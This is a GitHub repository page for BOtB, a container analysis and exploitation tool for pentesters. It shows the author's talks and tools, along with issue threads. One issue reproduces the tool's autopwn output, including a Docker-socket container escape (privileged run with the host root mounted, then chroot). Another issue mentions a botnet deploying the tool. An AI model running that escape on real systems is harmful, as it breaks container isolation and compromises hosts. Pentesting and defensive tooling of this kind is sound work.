brompwnie / botb

A container analysis and exploitation tool for pentesters and engineers.

Hi there 👋

• 🔭 Product Security at HashiCorp
• 📫 How to reach me: @brompwnie.bsky.social
• 😄 Pronouns: He/Him

Public Speaking Engagements

• Blackhat
  • EU 2019 - Reverse Engineering and Exploiting Builds in the Cloud
  • USA 2019 - BOtB
  • EU 2018 - Uitkyk
  • USA 2017 - Kwetza
  • USA 2017 - Rattler
  • EU 2015 - Jack
• Defcon 27
  • Cloud Village Hacking 2019
• DevSecCon London 2019 - Build to hack, hack to build
• BSIDES London 2019 - Build to hack, hack to build
• BruCon 2018 - Hunting Android Malware
• Troopers 18 - Hunting Android Malware
• BSIDES Lisbon 2018 - Hunting Android Malware
• DroidCon London 2018 - Hunting Android Malware
• DroidCon London 2017 - Hacking Android, a Hacker's narrative
• BSides Cape Town 2016 - What the Dll? Finding and Exploiting DLL preloading vulnerabilities

Post I've Written

• https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
• https://blog.heroku.com/terrier-open-source-identifying-analyzing-containers
• https://blog.heroku.com/applying-seccomp-filters-on-go-binaries
• https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/
• https://sensepost.com/blog/2016/kwetza-infecting-android-applications/
• https://sensepost.com/blog/2015/hi-jack/
• https://sensepost.com/blog/2016/pwnbank-en-route-to-vegas/

Opensource Tools I've Created

• BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.
• Terrier is a Image and Container analysis tool that can be used to scan OCI images and Containers to identify and verify the presence of specific files according to their hashes.
• Uitkyk is a framework that allows you to identify Android malware according to the instantiated objects on the heap for a specific Android process.
• Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload.
• Rattler is a tool that automates the identification of DLL's which can be used for DLL preloading attacks.
• Jack is a web based ClickJacking PoC development assistance tool.

botb's Issues

Botb in the wild

Hi Chris hope you're well,

Just as a quick heads up there's a botnet deploying Botb, thought you might be interested to take a look -- > https://pastebin.com/5QMub0Xs

Thanks,

--always-succeed flag

It would be beneficial to add a flag to the application that allows it to always exit with a code 0 even if there are issues found. This would allow people to integrate the tool into their CI/CD pipelines and fix issues without blocking developers from deploying changes.

32 Bit Overflow for Rev-DNS

The rev-dns function contains an overflow for 32bit builds due to the constant 4278190080.
This can be reproduced by running the provided makefile

make
>> removing previous builds
>> running check for unused/missing packages in go.mod
>> building Linux 64bit binary
GOOS=linux GOARCH=amd64 go build -o /github.com/brompwnie/botb/bin/botb-linux-amd64 ./
>> running check for unused/missing packages in go.mod
>> building darwin 64bit binary
GOOS=darwin GOARCH=amd64 go build -o /github.com/brompwnie/botb/bin/botb-darwin-amd64 ./
>> running check for unused/missing packages in go.mod
>> building linux 32bit binary
GOOS=linux GOARCH=386 go build -o /github.com/brompwnie/botb/bin/botb-linux-386 ./
# github.com/brompwnie/botb
./utils.go:1079:37: constant 4278190080 overflows int
make: *** [build-linux32] Error 2

Run against image

Hi

Firstly thanks for this, an excellent idea. I was wondering how i can include this in my pipeline. I am already using trivy to scan the container for CVE's and this runs against the image ive built in the pipeline.

Is it possible to run bob against a docker image rather than running the container and downloading bob into it to run it that way (i am assuming this is the expected way to run it at the moment)

Thanks again

-pwn-privileged doesn't work when cgroup is already mounted

In utils.go:66 the mount of the cpu cgroup controller is being executed.

botb fails, if the mount fails (which is the case, when the cgroup is already mounted).

After removing the error check / cgroup mount, the privileged pwn works again.

The abuseCgroupPriv function should check if the mount already exists before. I'll try to build a patch for that.

autopwn doesn't work with rootless containers

I was just testing out rootless docker, so obviously trying botb -autopwn.

At the moment it's failing as --pid=host and --ipc=host don't work with rootless.

docker run -it -v /run/user/1000/docker.sock:/var/run/docker.sock raesene/alpine-containertools /bin/bash

bash-5.0# botb -autopwn
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /run/docker.sock
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///run/docker.sock run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
./docker/docker: Error response from daemon: OCI runtime create failed: container_linux.go:370: starting container process caused: process_linux.go:459: container init caused: rootfs_linux.go:59: mounting "proc" to rootfs at "/proc" caused: operation not permitted: unknown.
[*] Successfully exited TTY
[+] Finished

A fix for this would probably be to detect the container is running in a user namespace, and then change the autopwn command to drop those two bits off.

Containerd Autopwn

Feature request from @singe. This is currently in another branch that needs to be merged.

Readme Cleanup

README.md needs a clean up, related to this PR #6.